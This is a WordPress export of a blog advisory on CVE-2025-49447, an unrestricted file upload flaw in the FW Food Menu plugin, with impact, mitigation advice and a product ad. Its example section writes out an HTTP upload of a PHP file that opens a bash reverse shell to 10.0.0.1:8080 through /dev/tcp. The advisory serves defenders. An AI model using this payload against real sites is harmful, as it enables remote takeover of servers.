{"id":54469,"date":"2025-06-23T23:32:08","date_gmt":"2025-06-23T23:32:08","guid":{"rendered":""},"modified":"2025-07-07T23:55:25","modified_gmt":"2025-07-08T05:55:25","slug":"cve-2025-49447-unrestricted-file-upload-vulnerability-in-fw-food-menu","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49447-unrestricted-file-upload-vulnerability-in-fw-food-menu\/","title":{"rendered":"<strong>CVE-2025-49447: Unrestricted File Upload Vulnerability in FW Food Menu<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-49447 is a critical security vulnerability that has been identified in Fastw3b LLC&#8217;s FW Food Menu. This vulnerability allows attackers to upload files with dangerous types, which can potentially compromise the system or lead to data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5288-privilege-escalation-vulnerability-in-rest-api-custom-api-generator-for-cross-platform-and-import-export-in-wp-plugin\/\"  data-wpil-monitor-id=\"60997\">vulnerability is of high importance<\/a> and concern as it affects all versions of FW Food Menu up to 6.0.0. This puts a wide range of websites and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49199-application-backup-zips-vulnerability-and-system-compromise\/\"  data-wpil-monitor-id=\"61274\">system that are using this application<\/a> at risk, highlighting the immediate need for mitigation and remediation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49447<br \/>\nSeverity: Critical (CVSS: 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64834\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4082268383\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>FW Food Menu | All versions up to 6.0.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33053-a-critical-vulnerability-enabling-external-control-of-file-name-or-path-in-webdav\/\"  data-wpil-monitor-id=\"60826\">FW Food<\/a> Menu&#8217;s failure to properly validate the types of files being uploaded. <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"60914\">Attackers can exploit<\/a> this vulnerability by uploading a file with a dangerous type. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5491-acer-controlcenter-remote-code-execution-vulnerability-potential-system-compromise\/\"  data-wpil-monitor-id=\"61242\">potentially be a malicious script or executable<\/a>. Once uploaded, the malicious file can be executed, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49181-unauthorized-api-endpoint-access-leading-to-denial-of-service-and-data-leakage\/\"  data-wpil-monitor-id=\"61700\">leading to unauthorized access<\/a>, system compromise, or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1003235479\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Consider the following example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/8080 0&gt;&amp;1&#039;&quot;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5395-arbitrary-file-upload-vulnerability-in-wordpress-automatic-plugin\/\"  data-wpil-monitor-id=\"61121\">uploading a PHP file<\/a> that contains a malicious script. If successfully uploaded and executed, this script would open a reverse shell to the attacker&#8217;s machine, granting them <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5071-unauthorized-access-and-data-modification-vulnerability-in-ai-engine-wordpress-plugin\/\"  data-wpil-monitor-id=\"62849\">unauthorized access<\/a> to the system.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"62850\">mitigation approach to this vulnerability<\/a> is to apply the vendor-provided patch. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Further, users should consider enforcing strict <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5012-arbitrary-file-upload-vulnerability-in-the-workreap-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"61315\">file validation rules to prevent the uploading<\/a> of potentially dangerous file types.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-49447 is a critical security vulnerability that has been identified in Fastw3b LLC&#8217;s FW Food Menu. This vulnerability allows attackers to upload files with dangerous types, which can potentially compromise the system or lead to data leakage. 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